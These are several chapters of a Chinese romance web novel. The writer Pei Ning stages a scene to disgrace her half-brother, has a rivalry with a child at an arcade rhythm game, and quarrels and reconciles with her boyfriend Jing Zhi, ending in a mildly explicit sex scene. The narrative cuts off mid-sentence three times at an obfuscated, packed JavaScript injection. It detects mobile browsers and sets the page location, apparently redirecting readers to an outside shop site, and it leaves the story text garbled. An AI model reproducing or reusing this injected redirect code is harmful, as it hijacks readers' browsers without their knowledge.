后面几天,路过裴盛的人都会对他指指点点,或者干脆偷偷拍视频发到网上,甚至有人发起了“猜魔怔哥还能坚持几天”的挑战,这件事在本地热搜上挂了快一周。 裴凝看着网上的视频,和朱情打着电话:“他走了吗?” 朱情站在楼上往下看,裴盛躲闪着人群,但依旧没有离开。 “没有,不过看起来快撑不住了。” 挂了电话,裴凝起身对井稚道:“走吧。” “现在去吗?” “嗯。今天风和日丽,适合除小人。” - 裴凝从井稚的车上下来,特意往裴盛的方向走了走。 果然,裴盛一眼就看到了她。 “裴凝!” 裴盛比之前落魄了许多,眼神不停地扫视着周围,不自觉地弓着背,一副做贼样。 “你真狠!” 裴凝假装惊呼:“你怎么还在这?” “少假惺惺了!网上的视频都是你搞的是不是?” 这会儿正是中午休息时间,陆陆续续有人从楼里出来,很快有人认出了裴凝,见她被裴盛拽着,纷纷放慢脚步想看热闹,甚至已经有人提前打开了手机录像。 裴凝一脸惊恐,使劲推着裴盛:“你就那么想到我们公司上班吗?求求你放过我吧!” “姐!你连弟弟都不认吗!” “你在说什么,我哪来的弟弟!” 议论声越来越大,刺耳的讽刺挡不住地往裴盛耳朵里钻,他双眼充血,头脑发胀,根本无法思考,只感觉有一股热血上涌,把这些天的怨气全部激了出来。 他猛地抬手,使劲推了裴凝一把。 裴凝等的就是这一刻。 她适时后仰,不忘冲着镜头露出错愕惊慌的神情,重重地摔在地上。 “你去死吧!” 裴盛抬起腿,眼见就要落在裴凝身上。 所有人都没有反应过来的瞬间,井稚冲了出来。 他一拳掀翻裴盛,回身跪在地上,紧紧护住裴凝。 裴凝的满脸泪痕,藏在了井稚怀中。 她扬了扬嘴角,无声地笑起来。 23. Chapter 23 裴盛打裴凝的视频在网上疯传,之前的吐槽升级为口诛笔伐,他再也没办法出现在破晓附近。 不仅如此,裴盛创业时和老家的一堆亲戚朋友借了钱,因为还不上才躲到青城,现在那些人从网上看到了消息,纷纷赶来找他,裴盛东躲西藏,终于连青城也待不下去,彻底销声匿迹了。 破晓因为这一波“广告效应”,招聘进程直接起飞,韩飞雀每天忙得像个陀螺,根本停不下来。 裴凝看完贴满裴盛正面照片的帖子,满意地合上手机。 她承认,这次设计裴盛,不只是为了防止他妨碍破晓,更是一场她对裴家的酣畅淋漓的报复,一切都充满她的自私和阴暗。 但她毫无愧疚之意。 裴凝等了太久,甚至如果不是这次裴盛冒出来激她,她都快要在平静安稳的生活里忘却这份恨意了。 “洛洛,忙吗?” 朱情敲了敲半开的门。 “不忙,怎么了?” 朱情走进来,坐在落地窗旁的沙发椅上,小幅度地摆动着腿。 “我联系了一些作者,但态度都不是很明确,还是不太信任我们这种模式。” 其他职能部门已经建成大半,唯独作者部迟迟没有进展。 裴凝和朱情把能联系的熟人都联系了,但大部分人都对破晓持观望态度,不太敢离开已经养成笔名的平台,加入破晓这种新形式的公司。 “我这也差不多。其实很多作者对现在的平台意见很大,但没有人愿意冒着风险解约。” “看来签约之路道阻且长。” “不行就只能公开征稿了。”裴凝收起桌上的文件夹,起身道,“回头再和小溪好好商量一下,看看公关那边有没有好的宣传方向。” 朱情点头,视线在楼下停留了一会儿。 “洛洛,井老板又来接你下班了。” “是吗?” 裴凝也走到窗边,正好看到井稚把车停在熟悉的位置,从车上跳下来,哆哆嗦嗦地搓着手,然后很快闪进楼里。 “年轻人很有毅力啊,一天不落。” 裴凝笑了笑,未置可否。 “洛洛,你这回坚持时间也够长的。”朱情打趣道,“和井老板谈恋爱什么感觉?” 裴凝思考了一下。 “怎么说呢,都挺好的,就是——” “就是什么?” 裴凝神色认真,语气正经:“就是没谈过这么素的。服了。” “得,我就说井老板不能栽在你手里,太变态了。” 裴凝瞪了朱情一眼。 算着时间,井稚也快上来了,裴凝穿好风衣,背起包,和朱情一起走出办公室。 公司的人走得差不多,只剩许溪和韩飞雀站在门口眉飞色舞地嘀咕着什么。 看到她们出来,许溪举起胳膊,隔着大半个办公区打招呼。 “凝姐,朱姐!” “说什么呢,这么高兴。” 裴凝走到跟前,揉了揉许溪的短发。 “凝姐,旁边商场开了家电玩城,我和飞雀要去看看,你们去吗?” “去哪?” 裴凝还没说话,走出电梯的井稚正好听到许溪的后半句,抢着问道。 “电玩城,听说有很多项目,这两天开业优惠,很划算!” 裴凝工作了一天,有些疲惫,下意识想回绝。但她一抬头,看见了井稚一瞬间亮起的眼睛,和看向她时祈求的神情,顿了顿,没把拒绝的话说出口。 “你想去吗?” 裴凝回头问着朱情。 “也可以,确实好久没放松了。” 裴凝眨眨眼,回应了许溪期待的眼神:“好,那就一起去吧。你们来了这么长时间,还没有团建过呢,正好。” “耶!” 许溪和井稚同时发出欢呼。 - 裴凝是一个在休闲娱乐方面很无聊的人,无聊到朱情有时候都想不通,她怎么能写出那么多丰富多彩的剧情。 当然,裴凝有她自己的本事,很多东西虽然她不喜欢,但只要写作需要,她都会去学、去了解。 所以即使没来过几次电玩城,但她对这里的项目并不陌生。 托之前一个电玩城老板男主的福。 “裴凝!来玩这个!” 井稚兴奋地拽着裴凝站到两台摩托车前。 裴凝点点头,随意地甩了甩头发,脱下风衣扔在手推车里,长腿一迈,跨上车子。 “来吧。” 她表情过于松弛,似乎丝毫没有把井稚放在眼里,看得井稚好胜心大起。 “嘿,我可是摩托高手,看我怎么虐你。” 投币,拍照,选角色,选车,最后选关卡。 井稚想着照顾裴凝,特意选了个中等难度的地图。 “开始了!” 裴凝手握车把,将油门扭到底,稍稍倾身,全神贯注地盯着屏幕。长发垂在脸侧,有些碍事,她懒得去管,两脚稳稳地踩在台子上,随着游戏进程左右晃动身体,掌握方向。 根据提示,她在拐弯处轻捏刹车漂移,在氮气值满时按下冲刺,在与多车并排时旋转撞开,一路飞驰向前。 虽然一直在努力追赶始终排名第一的井稚,但毕竟是头一次玩,裴凝最终还是以第二名惜败。 “怎么说?” 井稚扭过头来,挑衅地看着她。 裴凝没理这个幼稚鬼,俯身从风衣兜里拿出来一个发圈,将头发几下缠在脑后,然后重新坐好,投了币,再次按下开始。 “接着来。” 第一把只是裴凝的学习过程,她现在已经基本掌握了游戏技巧。 井稚见裴凝这么自信,直接选了个最难的地图,狂妄地大手一挥:“输了可别哭鼻子哦。” 裴凝似笑非笑。 然后—— 第二把,裴凝第一,井稚第二; 第三把,裴凝第一,井稚第二; 第四把,裴凝第一,井稚第三; 第五把,裴凝第一,井稚第四。 屏幕上的小狗特效井稚永远追不上兔子特效裴凝。 他被裴凝扰乱了心态,连人机都跑不过了。 “靠!”井稚不可置信地看着裴凝,“裴凝,你开挂了吧!” 裴凝从容一笑,从摩托车上迈下来。 “可别哭鼻子哦。” 井稚气呼呼地跟着下来,不服气地叨叨:“去开车,我就不信你还能赢我,我可是人送外号青城小车王!” 然而,青城小车王一朝易主。 渐渐的,井稚发现,不仅是骑摩托、开跑车,这电玩城里的大部分项目,只要裴凝上手试一次,都能很快掌握。 想赢她,好像比登天还难。 “原来我女朋友是个神仙。” 井稚已经佩服地五体投地,一点没有不服气了,只有满心满眼的敬仰。 “厉害吧,”路过的朱情幽幽飘来一句,“洛洛是自带系统的,就没有她学不会的东西。” 井稚化身跟屁虫,崇拜地跟在偶像身后,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963856|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手捧着装游戏币的盒子。 “神仙,你还想玩什么,随便玩,我买单!” 裴凝很有大神风范,笑而不语,勾勾手指,示意井稚跟紧点。 “哎,这个你玩吗?” 井稚在一个街机音游前停了步子。 裴凝顺着他的视线看去,看到是音游后,皱了皱眉,犹豫着摇摇头。 “这个算了吧。” 其实裴凝也有学不会的。 比如一切需要音感的游戏。 她是天生的音感缺失、五音不全。 而眼前恰恰就是一款需要根据节奏拍打按键的游戏。 “哎,试试嘛。” 井稚忽视了裴凝的拒绝,直接把人拽到机器前,并且贴心地投好了币。 裴凝无奈,只能顺从地选起曲子。 她选了个难度等级比较低的,旋律还算耳熟能详,想着成绩总不会太惨。 然而事实证明,裴凝还是跟音乐沾不了一点边。 她努力了两分多钟,才拿了个B等级。 “那个,应该是你的系统还在学习,没事,还有两首歌,再试试。” 井稚尴尬地安慰道。 旁边的机子突然来了个看起来七八岁年纪的小男孩,他投完币后,裴凝还没反应过来,就眼见两台机子自动联机了。 小男孩飞速选好歌曲,并闪身过来把裴凝机子上的确认键也按了,音乐前奏响起,裴凝才后知后觉地明白过来,他俩需要用同一首歌打PK。 她来不及多想,两只手重新按上按键。 这首歌比刚才那首要难一点,又是她没听过的日宅风格,光是跟上节奏就已经很难为裴凝了。还好她刚刚熟悉了一下这个游戏,音感靠不上,还能靠一些投机取巧,终于在音乐中段时找到一些状态,没有再一直miss。 一曲结束,裴凝如释重负。 她正要走,身后忽然响起一个稚嫩但不屑的声音:“阿姨,你是第一次玩吗?我才错了两个,你怎么错那么多呀?” 裴凝顿时停住步子。 她回过身,低头看着没礼貌的小不点。 她还没说他刚才拍按键的时候力气大得快把机器拍烂了,及其影响她的发挥呢,他倒先挑衅上了。 裴凝胜负欲顿起。 “对呀,我第一次玩。” 她还剩一局机会,这一局轮到她选歌了,裴凝重新站回机器前,认真地挑选起来。 井稚见状,凑上去小声问:“要不我来?” 裴凝摆摆手,注意力全在歌单上。 井稚看到她难得一见的神情,默默退远些,心里为小男孩祈祷着。 他惨了。 裴凝看着好脾气,其实锱铢必较。 裴凝选的是一首难度更高的歌曲,出于私心,她挑了自己熟悉的粤语歌,赌那小孩没听过。 她刚才是没认真玩而已,虽然节奏感不行,但她已经摸到了规律,纯靠眼睛和反应力也有信心赢。 音响再次传出音质很差的音乐声,裴凝两脚微张,平稳地站在地上,双手利落地跟着屏幕上的圆圈到处移动。 再怎么说也是听了无数遍的歌,还是有些旋律刻在脑子里的。 旁边的拍键声逐渐乱了起来,裴凝自动屏蔽他的拍打声,专心致志地跟着自己的节奏走。 音乐结束后,裴凝抬起头,看向大屏幕上的成绩。 她拿了S+,那小孩只拿了A。 裴凝很和蔼地笑着:“你也是第一次玩吗,怎么错了那么多呀?” 24. Chapter 24 裴凝嘲讽完,略带得意地转身就走。 井稚紧跟上她,竖起大拇指:“厉害。” “凝姐,你们还有币吗?” 许溪从身后拍了裴凝一下,探头往他们的盒子里看去。 裴凝看了一眼孤零零躺着的一个币,摇摇头:“没了。” “我们也没了。” 朱情和韩飞雀走过来,和他们站在一起。 “那现在是?” 裴凝问道。 许溪显然玩兴奋了,丝毫没有归意,想了想,很快提议:“时间还早呢,要不在附近吃口饭,然后找个清吧坐一会儿?我回来之后还没去过酒吧呢!” 朱情听了,点点头:“我觉得可以,有几家我和洛洛常去的清吧,氛围很不错,一会儿我们带你们去。飞雀呢?” 韩飞雀没有拒绝,只是拽了拽包带,道:“不影响明天上班就可以。” 朱情摆摆手:“小酌,不碍事的。” “那好,我们在商场里吃就行,离这不远就有家音乐酒吧,小情人儿你记得吧,他们家驻唱还不错,主要是长得帅,就是好久没去了不知道还在不在……” “等会儿,”一直没说话的井稚出声打断裴凝,眼神有些吃惊,“你会喝酒?” 猛地一问,裴凝懵了一下,然后立刻想起自己之前和井稚立过不会喝酒的人设。 完了,说漏嘴了。 “她当然会,她千杯不倒好吗。” 朱情理所当然地说道。 裴凝尴尬地看着井稚,他一言不发,薄唇紧抿,眼睛里写满质问,有些生气地看着裴凝。 朱情后知后觉地瞧出他们之间氛围不对。 不过她也是看热闹不嫌事大的:“井老板,洛洛之前跟你说她不会喝酒啊?” 井稚重重地“哼”了一声。 朱情站到他俩中间,左右看看,继续补刀:“洛洛,这可就是你不对了,青城酒吧你都去个遍了,怎么能骗井老板呢,这不是欺负小孩吗……” 裴凝飞快捂住朱情喋喋不休的嘴,然后拽住井稚手腕就往前走。 “那个,后面的活动我们就不参加了,祝你们玩的开心!” 火速逃离现场。 回去的路上,裴凝在安静的车里独自头脑风暴,想着这回要怎么哄小孩。 井稚显然是真生气了,两手紧紧握着方向盘,一动不动地开车。 “这么生气呀?” 裴凝试探着问道。 井稚没理她,依旧目视前方。 “我就是想逗逗你嘛,再说了,你不也是装醉……” 裴凝忍不住吐槽。 井稚一听,更生气了:“我那是……不对,原来你知道我是装醉?好啊裴凝,你就是故意要看我出糗是不是!” “不是,怎么你装醉也要生我气呀,”裴凝无奈,“结果是好的就好了嘛。” 井稚又“哼”了一声。 车在红灯前停下,裴凝侧过身去,软软地趴在手扶箱上,讨好般揽过井稚胳膊:“好啦,别生气了嘛。要不咱俩一会儿回去就喝酒,我肯定陪你喝个够。” 井稚视线朝裴凝挪了挪:“真的?” “当然。楼下买点下酒菜,咱们今天不醉不休。” - 桌上放了六瓶启开的啤酒。 他们买了些小炒和鸭货,加上裴凝翻出来的她平时喝酒吃的花生,摆了满满一桌子。 看起来是真的要喝酒,还是称兄道弟喝的那种。 没有一丁点浪漫。 “干杯!” 裴凝再一次倒满,开心地碰到井稚的杯。 井稚已经完全忘了生裴凝的气,两手端着杯子,凑上去和裴凝碰杯,听到清脆的一声后,仰头而尽。 “井稚,我们在一起多久了?” 裴凝晃着酒杯,酒面波动,映着暖黄色灯光,五彩斑斓地折进眼中。 “两个多月。” 裴凝惊讶了一下,转而笑开:“看来这次我真的坚持蛮久的。” 不知不觉就过去两个月了,她依旧对井稚保持热情。 对裴凝来说,这算是件怪事。 “什么意思?” 井稚没听懂,垂下头来问她。 “没事。” 井稚的额前碎发蹭到裴凝脸上,痒痒的。 裴凝又开始有点犯迷糊了。 看来暧昧是酒精的催化剂,她只要和井稚突破安全距离,就会感觉酒劲上头。 裴凝静静地看他,看着那双最开始吸引她的小狗眼,在她的注视下一点一点红起来。 即使在一起这么久了,井稚还是会因为裴凝的撩拨而害羞,哪怕只是她有些不规律的呼吸,轻轻拂过他耳畔。 “怎么了?” 他躲开些眼神,嗓音些许沙哑。 井稚过分可爱了,裴凝想。 她不想再克制。 裴凝抬起胳膊,贴着井稚炙热的皮肤,缠在他颈后。稍微一用力,猝不及防将他拉得更近些,鼻尖在这动作间碰到一起,迫使井稚不得不看向她。 听到了。 心跳声。 裴凝坏笑起来,凑上去,作亲吻状。 然而,在井稚本能地闭紧眼睛后,裴凝偏了方向,将温热的唇贴上他耳垂。 她轻含滚烫,在井稚惊慌睁眼的瞬间,用力咬下去。 牙齿碰到井稚的耳钉,轻轻的碰撞声,在他耳边炸开。 “你……” 井稚撤出些距离,仿佛刚刚脱离真空一样,疯狂汲取着氧气。 裴凝依旧没有说话,她攀上去,与他热吻。 暖气很足的餐厅,空气里是水分蒸发殆尽的干燥。 但两人之间尽是潮热。 裴凝越亲越靠前,后来干脆起身,坐到了井稚身上。 她托着井稚后脑,自上而下与他缱绻,像魅惑的神。 不够。 还不够。 裴凝亲吻未停,两腿落地,站了起来。她轻轻拽着井稚的衣服,将他牵进自己的怀抱。 环着井稚的手,时不时抚摸他的短发,脚下步子依靠记忆,一点点后撤着。 井稚的理智被热气蒸干了。 他就这样与裴凝拥吻到了她的卧室。 没有开灯的房间里落了半床月光,裴凝摸到墙上的开关,打开灯后,想了想,又关上。 光亮只充斥了一瞬间,却在两人眼中余下持久的痕迹。 裴凝忽然想到什么,抬了抬腿,将卧室门轻轻带上。 今天那只没眼力见的小狗,可不能再捣乱了。 呼吸声、心跳声、接吻水声,缠绕在他们耳边,裴凝肆意贴上井稚的胸膛,手渐渐滑到他的背。 她借力一揽,与井稚一起陷入柔软。 裴凝定睛看了看。 井稚的衬衫,为什么系得那么紧? 这样不好。 她手肘撑了下床,坐起身些。 发丝不知何时缠住了井稚的耳钉,她一动作,将耳钉扯开些,头发也拽掉几根。 裴凝未去在意,专心盯着小小的扣子,手指灵活地解开两颗。 然而—— 井稚推开了她。 “裴凝。” 井稚欲意未消的声线有些颤抖。 “这样不行。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977401|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴凝的针织衫歪歪扭扭地搭在身上,露出半侧锁骨。 井稚抬手,想给她提一下衣领,被裴凝侧身躲开。 卧室的白色灯光下,两人坐在床两侧,周身温度越来越低。 良久,裴凝抬起头。 “井稚,每次到这一步,你就会逃避。”她神色渐冷,眼神含霜,“为什么?你不想和我上床对吗?” 井稚张了张嘴,半晌,只闷闷道:“没有。” 裴凝努力想给井稚想一个理由,但无论怎么想,她都想不出来。 她只能提出她认为唯一合理的解释:“井稚,你是不是有什么处女情结?” 井稚瞪大眼睛,刚要否认,裴凝又接着道: “你应该知道,我不是第一次,所以这是你的障碍?” 井稚被裴凝与事实偏差过多的逻辑气到了,他急着开口:“当然不是!” “那是为什么?” 井稚无奈,语气诚恳地与她解释:“你的第一次不重要,我们的第一次很重要。” 裴凝怔了一下,没听懂。 “有什么区别吗?” “当然有。这对我们来说是很有意义的事情,怎么能随便开始呢?” 裴凝越来越迷惑:“那应该怎么开始?” “至少,应该是在双方理智清醒的情况下,彼此同意,共同决定,并且做好事前准备之后再开始吧?” “……哈?”裴凝显然无法理解,“至于这么繁琐?” 井稚蹙眉,不喜欢她的反应。 “怎么不至于?这样才是尊重你,因为这种事只有女生会吃亏,我不希望我们头脑一热就做了。” 裴凝沉默了一下,想着应该如何措辞。 “对我来说,这就是随心的事。氛围和情绪是可遇不可求的,既然想做,为什么不直接享受当下呢?欲望不是准备出来的,如果真如你所言,你不觉得太麻烦了吗?我们是在完成什么任务吗?” 井稚感觉心被狠狠戳了一下。 他觉得很重要的事情,裴凝觉得是麻烦。 “裴凝,我们真的是在谈恋爱吗?我们现在,和在一起之前有什么区别?”井稚鼻尖有些红了,他努力平稳着声线,“接吻,拥抱,不在一起也可以做,可这件事,我就是想正式地准备,想留下一段浪漫美好的记忆,不可以吗?” 裴凝有些烦躁。 “我们这样还不算恋爱,那什么样才算?” 井稚忽然觉得有巨大的委屈涌上来。 他压抑许久的话,从他的控制力下跑走,跑到了两人耳中。 “我们约好的事情,你爽约了无数次;周月纪念日你忘记了,我看你忙,所以也没有提;你说要和我一起做备忘录上的事,到现在只完成了三件……我都可以理解你,可真正让人伤心的是,你根本不在意。我们之间不需要仪式感,不需要承诺,不需要互相顾及,现在连这样重要的事,也不需要郑重决定了,你觉得我们是情侣,还是什么很随便的关系?” 关着门的卧室很闷,井稚有些喘不过气。 他本以为裴凝会有一句解释,一句亏欠,哪怕只是一句敷衍他的愧疚。 可是没有。 裴凝的沉默包裹着他,越来越紧,让他只想逃离。 起身,系好衬衫,井稚径直走向卧室门。 “早点休息吧。” 他沉声道。 客厅响起关门声,成为这偌大房间中最后的声响。 尾音在空气中凝固。 裴凝一动不动地坐在床上,视线落在窗外的灯红酒绿。 半晌,她叹了口气。 睫毛落寞地垂下。 25. Chapter 25 朱情在楼下碰到刚停好车的裴凝,稀奇地问她:“又是自己来的?井老板呢?” 裴凝淡淡道:“吵架了。” 准确的说,是吵架之后,冷战三天了。 “啊?为什么?” “可能是因为我想睡他吧。” 朱情“啧”了一声,和裴凝一起走进电梯。 “井老板看起来……确实像是比较保守的性格。那你就慢慢来嘛。” 裴凝垂下拎着包的手,按了楼层,平静地看着电梯门合上。 “我已经很慢了。” 朱情耸耸肩。 “不过,井老板还会跟你吵架,挺神奇的。” “怎么神奇?” “感觉他是那种永远不会对你红脸的人。” “为什么这么说?” 裴凝回过头来,眼里终于有些波动。 “他更在乎吧。” 闻言,裴凝沉默。 其实这样说,也没错。 熟悉的人都知道,裴凝感情经历丰富,但很少走心。 恋爱只是她的调剂品,不是必需品。 所以她永远是感情中的上位者,不会为了谁放低姿态。 毕竟入局浅者,随时可以全身而退。 可不知为何,这样的话放在井稚身上,裴凝莫名有些难过。 电梯门打开,她摇摇头,不想再去想。 “征文怎么样了?” 裴凝站在公关部的办公区旁,一边抬手招呼许溪,一边问着朱情。 “小溪她们的宣传还不错,最近投稿的作品不少,我初步筛选了一下,回头转给你。” 许溪跑过来,依旧带着惯常的明媚笑容。 “凝姐朱姐,早哇!” “早,”裴凝笑笑,“整理一下最近的工作,下午叫公关开个会。” “收到。” 许溪作搞怪敬礼状。 几人说话间,韩飞雀从门口匆匆忙忙跑进来。 许溪拿起手机一看,九点整。 “嚯,飞雀,你竟然差点迟到了。” 她可是出了名的严谨守时,平常都是提前半小时来上班的。 韩飞雀看到裴凝和朱情,不好意思地低了低头。 “对不起,凝姐,朱姐。” “这有什么道歉的,”裴凝失笑,“不是还没迟到吗。” 许溪神秘兮兮地凑上去。 “说,是不是昨天跟徐鹤淞约会去了?” 裴凝听到这个神奇的组合,有些吃惊。 “谁?飞雀,和徐鹤淞?” 朱情为她作出解答:“那天我们去清吧,碰到徐鹤淞,一起喝了两杯,后来嘛,飞雀不知道怎么就跟他走了。” “对呀,要不是我了解徐鹤淞人品,飞雀也没喝醉,我都要报警了。” 许溪转向韩飞雀,继续八卦。 “从实招来,是不是约会去了?” 韩飞雀意料之外地点点头,很大方地承认:“确实。” 几人同时瞪大眼睛。 许溪试探道:“那你今天迟到是……?” “他家离公司太远了。” 许溪惊掉下巴。 “不是,飞雀,你……”她想了半天如何措辞,“你原来是这种风格啊!” 韩飞雀很平常地看向她们:“两位老板,上班时间在这里讲八卦,影响可不好哦。” 裴凝看着来来往往的员工,想了想,压低声音对她们道:“中午老地方见,咱们细说。” - 公关部会议上,许溪作为负责人汇报了最近的工作进度。 裴凝对他们的工作表示了认可,然后发言道:“还有半个多月就跨年了,我想借着这个宣传节点,出一期主题征文,各位想几个主题,下周交上来。” “有什么要求吗?” 许溪记录的同时问道。 “年后我们自己的文学网站就试运行了,这次主题征文要以短篇为主,作为网站的第一批作品发布,所以主题一定要鲜明有特色,利于把网站宣传出去。” 裴凝按下翻页笔,大屏幕上出现公司的理念。 “同时再跟大家强调一下,我们做的是女性文学,原则是支持创作自由,但不支持底线自由,以虐女为噱头、矮化女性的内容一律不允许出现。期待大家能想出有内容、有深度的主题,辛苦了。” 会议结束时,已经临近下班时间。 裴凝回到办公室,坐在椅子上发了会儿呆。 天色黑了大半,没有开灯的办公室里,只有透过落地窗的城市灯光打在地上。 她忽然有些想井稚。 翻开手机,点开井稚的对话框,裴凝决定先打破冷战。 刚打了两个字,井稚的消息忽然弹出来。 【下班来我家吧。】 裴凝看着三天没见的爆米花头像,心里松了口气。 她不自觉地缓和了眉眼,回复道: 【好。】 看看时间,距离下班还有二十分钟。 裴凝站起身,在房间里踱起步来。 五分钟后,她终于还是没忍住,快步走到朱情的办公室,探头和她说道:“小情人儿,我先下班了。” 朱情了然:“井老板找你了?” “嗯。” 裴凝笑了笑,退出房间,很快离开了公司。 - 一路上,裴凝都觉得自己的心在悬着。 她很想见井稚,但莫名又有些害怕。 她不知道自己在怕什么。 一向开车很稳的裴凝,连着在两个路口加速冲过倒计时的绿灯。 到了楼下,裴凝急急忙忙地开门下车,高跟鞋不小心崴了一下,她也没去管。 可真的站到井稚家门口的时候,裴凝又收回了按门铃的手。 她犹豫了。 不过她并没能纠结太久,很快,门开了。 井稚出现在面前。 “怎么不进来?” 井稚今天穿了一身很正式的黑色衬衫,但别了个小狗胸针,不显得那么严肃。他应该是刚刚洗过澡,身上有着淡淡的雏菊味,耳钉和手链不知道为什么都摘了,倒有些别样的清爽。 裴凝没有回答他,只是问:“你怎么知道我来了?” “爆米花一直蹲在门口。” 井稚让开位置,看着裴凝走进来。 进屋之后,裴凝才发现,井稚特意将家里装饰了一番。 客厅没有开灯,角落里规律摆放着无火蜡烛,暖黄光被大理石地板折射到整个房间。茶几上的花瓶里有一束红玫瑰,即使在暗处也明媚张扬。 井稚牵过她的手,走到餐厅。 开着顶灯的餐厅显然亮了许多,桌上已经摆好了餐盘,一盏复古融蜡灯放在桌角,小巧精致,很引人注意。 裴凝坐在井稚拉开的椅子上,看着他从厨房端出各式各样的餐点。 她还是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993063|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次见井稚做西餐。 井稚站在桌旁,将牛排全部切好,然后才坐到她对面。 裴凝忍不住问:“这是最后的晚餐吗,这么丰盛?” 然后便收获了一个熟悉的瞪眼。 “那不然是……?” 她继续问道。 “裴凝,”井稚有些紧张地勾住手指,“对不起。” “……嗯?” “我不该和你吵架,也不该不理你,对不起,裴凝。” 他又道了一次歉。 裴凝竟然有些心虚。 “我也不对,那天是我考虑不周。” “那我们就两清了,”井稚明显放松许多,嘴角又扬起来,“以后再也不冷战了!” 裴凝飘忽的情绪终于落了地。 “那今天这是为了道歉准备的吗?” 一个调侃的问题,井稚却红了些脸。 “也不全是。” 他小声说着,不知道是回答裴凝的问题,还是自言自语。 “嗯?还有什么?” 像是下定决心一般,井稚抬起头,眼底闪着些亮光:“裴凝,我还是想正式一些。今天的晚餐,是我的邀请,我想为你创造你想要的氛围和情绪,也想给我们留下一段完整美好的记忆。” 裴凝听懂他在说什么了,但却轻笑着,向前倾了些身,眼尾上挑着看他。 “邀请什么?” 井稚耳尖攀上粉红,眼神却难得没有躲闪。 “裴凝,今晚别走了,可以吗?” 裴凝目不转睛地看着他,眼见井稚在自己的注视下偏过些头去。 “不行吗?” 井稚小声问道。 裴凝心痒痒的。 “井稚,这些菜,凉了会不好吃吗?” “啊?凉了吗?我给你热热吧。” 井稚不明所以地起身。 裴凝越过桌子,拽着他的手,顺势站起来,揽住他腰。 “我的意思是,我们一会儿再吃吧。” - 井稚的床头,提前摆好了避孕套、润滑液,还有玫瑰味的香薰。 兼具实用性和氛围感。 裴凝终于如愿以偿地解开了井稚的全部扣子。 轻薄蚕丝被包裹着两人,裴凝的手从井稚敞开的衬衫钻进去,指甲滑过他光滑的皮肤,感受到他因为紧张而绷紧的背肌。 她的吊带在摩擦间堆在一起,硌在身下,有些不舒服。 “帮我脱掉。” 她温柔地命令。 井稚的指尖试探着勾住裴凝的衣服,睫毛轻颤,诱人沉沦。 裴凝凑近些,抬头,吻上他眉骨。 温热的唇描摹过他的眼眶,鼻尖,耳垂,嘴唇,来到锁骨。刚一触碰,裴凝便感觉到井稚猛烈的颤抖。 找到他的敏感地带后,裴凝坏心思顿起。 湿润触感瞬间刺激了井稚的大脑,他将怀里人推开些,声线不稳:“别……” 裴凝没有理会,继续埋头于他颈间。 欲望终究战胜了羞涩,井稚再也按捺不住,擒着裴凝肩膀,将她翻身压在床上。 “我都说了……别。” 俯身,井稚侵入裴凝齿间,惩罚般咬下她不听话的舌头。 裴凝微微吃痛,后缩了一下,又被揽回来。 “裴凝。” 井稚的理智所剩无几,但他仍记得没有说完的话。 “我爱你。” 26. Chapter 26 裴凝靠在井稚肩窝里,掰着他的手指头,一个指节、一个指节地看。 将两人手心贴合,整整差出一个指节。 井稚常年在书店工作,手上几个薄薄的茧,触感有些粗糙。 “看什么呢?” 井稚吻了吻她的眼角。 “感觉很神奇。” “什么很神奇?” 裴凝扬起些脸,指腹抚过他眉骨。 “有点想了解你的过去。” 裴凝谈恋爱,一向是不问过去的。 因为她并不相信亲密关系这种脆弱的东西,既然没有未来,就没必要牵扯太多,只享受在一起的当下就好了。 但裴凝突然有点好奇井稚的过去。 她想知道,井稚是如何成为井稚的。 “想问什么?我都告诉你。” 裴凝顿了下动作,片刻,笑着低下头。 “没什么。” 还是算了。 她转了转视线,看到井稚房间里有一个不大的书架,上面摆着一些翻得有些旧的书。 除了裴凝和裴悯的书,剩下的大部分都是悬疑小说。 “你喜欢悬疑小说呀?” 井稚点点头:“看过不少。” “那到时候你看我的新书,不会嘲笑我的悬疑很幼稚吧。” “怎么会呢,那一定会成为我最喜欢的悬疑小说。” 裴凝笑着抽出手,摸摸他的头,感觉有些凉,又缩回被子里。 “那你悬疑电影看得多吗?” “多,怎么了?” “等忙完这阵,我得重新捡起我那半本小说。上次停笔的时候有点卡文,不然你带我看一些悬疑电影,帮我找找感觉?” “那我最近整理一些片单,到时候一起看。” 裴凝感觉肚子饿了,坐起身些。 “我们吃饭吧。” “好。” “哎,等一下,”裴凝拽住很快翻身下床的井稚,“可以借你的浴室用一下吗?我先洗澡。” 井稚微张着嘴,反应过来,顿顿地点着头:“好,你用吧。” 裴凝勾起嘴角,在床上半跪着靠近他,捉弄道:“你不洗澡呀?要不一起吧。” 井稚立刻抓起衣服跑出卧室。 